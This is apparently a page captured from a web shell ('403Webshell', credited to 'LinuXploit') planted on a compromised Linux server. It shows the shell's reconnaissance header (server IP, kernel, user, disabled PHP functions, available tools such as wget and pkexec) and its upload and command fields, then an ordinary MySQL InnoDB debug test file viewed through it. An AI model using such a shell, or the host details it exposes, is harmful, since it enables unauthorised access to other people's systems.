403Webshell
Server IP : 104.21.38.3  /  Your IP : 108.162.226.227
Web Server : Apache
System : Linux krdc-ubuntu-s-2vcpu-4gb-amd-blr1-01.localdomain 5.15.0-142-generic #152-Ubuntu SMP Mon May 19 10:54:31 UTC 2025 x86_64
User : www ( 1000)
PHP Version : 7.4.33
Disable Function : passthru,exec,system,putenv,chroot,chgrp,chown,shell_exec,popen,proc_open,pcntl_exec,ini_alter,ini_restore,dl,openlog,syslog,readlink,symlink,popepassthru,pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,imap_open,apache_setenv
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /www/server/mysql/src/mysql-test/suite/innodb/t/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /www/server/mysql/src/mysql-test/suite/innodb/t/innodb-alter-debug.test
--source include/have_innodb.inc
--source include/have_debug.inc
--source include/have_debug_sync.inc

--source include/count_sessions.inc

SET NAMES utf8;

CREATE TABLE ① (
 c1 INT PRIMARY KEY, c2 INT DEFAULT 1, ct TEXT, INDEX(c2))
ENGINE = InnoDB;

CREATE TABLE t1ć (c1 INT PRIMARY KEY, c2 INT, INDEX(c2),
                  CONSTRAINT t1c2 FOREIGN KEY (c2) REFERENCES ①(c2))
ENGINE=InnoDB;

INSERT INTO ① SET c1 = 1;

SET DEBUG = '+d,ib_drop_foreign_error';
--error ER_RECORD_FILE_FULL
ALTER TABLE t1ć DROP FOREIGN KEY t1c2, RENAME TO ②;
SET DEBUG = '-d,ib_drop_foreign_error';

SET DEBUG = '+d,ib_rename_column_error';
--error ER_RECORD_FILE_FULL
ALTER TABLE ① CHANGE c2 š INT;
SET DEBUG = '-d,ib_rename_column_error';

SHOW CREATE TABLE t1ć;

DROP TABLE t1ć, ①;

--echo #
--echo # Bug #21364096	THE BOGUS DUPLICATE KEY ERROR IN ONLINE DDL
--echo #		WITH INCORRECT KEY NAME

create table t1 (id int auto_increment primary key,
		 a int,
		 unique key uk(a))engine=innodb;
insert into t1 select 1, 1;
insert into t1 select 2, 2;
SET DEBUG_SYNC = 'row_log_table_apply1_before SIGNAL s1 WAIT_FOR s2';
--send alter table t1 add b int, ALGORITHM=inplace

--echo /* connection con1 */
connect (con1,localhost,root,,);
SET DEBUG_SYNC = 'now WAIT_FOR s1';
--error ER_DUP_ENTRY
insert into t1 select NULL, 1;
SET DEBUG_SYNC = 'now SIGNAL s2';

--echo /* connection default */
connection default;
--echo /* reap */ alter table t1 add b int, ALGORITHM=inplace;
--error ER_DUP_ENTRY
--reap

SET DEBUG_SYNC = 'row_log_table_apply1_before SIGNAL s1 WAIT_FOR s2';
--send alter table t1 add b int, ALGORITHM=inplace;

--echo /* connection con1 */
connection con1;
set DEBUG_SYNC = 'now WAIT_FOR s1';
--error ER_DUP_ENTRY
update t1 set a=1 where id=2;
SET DEBUG_SYNC = 'now SIGNAL s2';
disconnect con1;

--echo /* connection default */
connection default;
--echo /* reap */ alter table t1 add b int, ALGORITHM=inplace;
--error ER_DUP_ENTRY
--reap

drop table t1;

# Wait till all disconnects are completed
--source include/wait_until_count_sessions.inc

--echo #
--echo # Bug #27753193  ASSERTION `PREBUILT->TRX->ERROR_KEY_NUM <
--echo #                HA_ALTER_INFO->KEY_COUNT'

CREATE TABLE t1 (a INT, UNIQUE KEY(a)) ENGINE = INNODB;
INSERT INTO t1 VALUES (1);

SET DEBUG_SYNC = 'row_log_table_apply1_before signal S1 WAIT_FOR S2';
--send OPTIMIZE TABLE t1;

CONNECT (con1,localhost,root,,);
CONNECTION con1;
SET DEBUG_SYNC = 'now WAIT_FOR S1';
--error ER_DUP_ENTRY
INSERT INTO t1 VALUES (1);
SET DEBUG_SYNC = 'now SIGNAL S2';

CONNECTION default;
--echo /* reap */ OPTIMIZE TABLE t1;
--reap
DISCONNECT con1;
SET DEBUG_SYNC='RESET';

DROP TABLE t1;

# Wait till all disconnects are completed
--source include/wait_until_count_sessions.inc

Youez - 2016 - github.com/yon3zu
LinuXploit